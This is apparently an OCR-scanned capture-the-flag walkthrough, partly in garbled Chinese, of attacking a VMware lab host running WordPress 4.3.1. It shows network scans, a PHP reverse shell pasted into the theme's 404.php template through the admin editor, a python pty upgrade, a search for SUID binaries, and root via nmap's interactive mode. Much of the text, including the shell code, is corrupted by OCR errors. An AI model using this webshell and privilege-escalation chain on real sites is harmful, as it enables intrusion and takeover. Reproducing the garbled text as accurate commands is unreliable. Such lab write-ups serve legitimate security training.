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root@kali:~# netdiscover -i eth@ -r 10.0.3.0/24
Currently scanning: Finished! | Screen View: Unique Hosts

6 Captured ARP Req/Rep packets, from 4 hosts. Total size: 360

IP At MAC Address Count Len MAC Vendor / Hostname
10.0.3.1 00:50:56:c0:00:08 2 120 VMware, Inc.
10.0.3.2 00:50:56:ff:6c:8b 1 60 VMware, Inc.
10.0.3.142 00:0c:29:60:b9:7b 2 120 VMware, Inc.
10.0.3.254 00:50:56:e2:86:33 1 60 VMware, Inc.

KIIP7910.0.3.142.
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root@kali:~# nmap -sV -p- -A 10.0.3.142

Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-03 17:20 CST
Nmap scan report for 10.0.3.142

Host is up (0©.00052s latency).

Not shown: 65532 filtered ports

PORT STATE SERVICE VERSION

22/tcp closed ssh

80/tcp open http Apache httpd

| _http-server-header: Apache

| _http-title: Site doesn't have a title (text/html).
443/tcp open  ssl/http Apache httpd

| _http-server-header: Apache

| _http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=www.example.com

| Not valid before: 2015-09-16T10:45:03

| _Not valid after: 2025-09-13T710:45:03

MAC Address: 00:0C:29:60:B9:7B (VMware)

Device type: general purpose

Running: Linux 3.X|4.X

OS CPE: cpe:/o:1linux:1linux_kernel:3 cpe:/o:1linux:1linux_kernel:4
0S details: Linux 3.10 - 4.11

Network Distance: 1 hop

TRACEROUTE
HOP RTT ADDRESS
1 0.52 ms 10.0.3.142

0S and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 146.25 seconds
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n‘-" @ usersBlogt &6 B + New Howdy, Elliot Alderson
Screen Options Help
@ Dashboard Dashboard
Home
At a Glance Quick Draft
Up
. Title
# Posts WordPress 4.3.1 running Twenty Fifteen theme.

What's on your mind?

05 Media

Activity
M Pages

B comments & B
v WordPress News

Loading...

Getshell
FAIMGE & k3 2l getshell 1) 7512
1% Fappearance->editor
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Twenty Fifteen I Select

Templates

404 Template
{404.php)

Archives
farchive.phg)

author-bio.php

Comments

fcomments. php)
content-link.php
content-none.php
content-page.php
content-search.php
content.php

Footer

(footer.php)

FA1ME Fkali 77 ftishell :
shell: /usr/share/webshells/php/php-reverse-shell.php
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fiidiupdate file

Edit Themes

Twenty Fifteen: 404 Template (404.php) Select theme to edit: Tive

$input = fread(Spipesll], %$chunk_size); T
if (%debug) printit("STDOUT: $input");
fwrite($sock, S$input);

// If we can read from the process's STDERR

// send data down tcp connection

if (in_array(spipes(2], Sread a)) {
if ($debug) printit("STDERR READ");
sinput = fread(spipes[2], $chunk size);
if (%debug) printit("STDERR: $input");
fwrite($sock, S$input);

fclose(ssock);
fclose($pipes(0]);
fclose($pipes(1]);
fclose($pipes(2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if ('sdaemon) {
print "$string\n";

}
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Edit Themes

File edited successfully.
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python -c 'import pty;pty.spawn("/bin/bash");"
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find / -user root -perm -4000 -print 2>/dev/null
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FATEIL T nmap, #BIHRAKInmap (2.02-5.21) B ERA, RFH P #UTshelldn 4, H T nmapfE{dH
root A PRHAT 1) b ) SC ko158 A, PRk mr DA FH <2 B Q) 5 ka2 47 B AH RIAR [ shell.

nmap -v

targ
QUITTING!
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A2 H AR AT PLIE S T nmapZ 4 “interactive”
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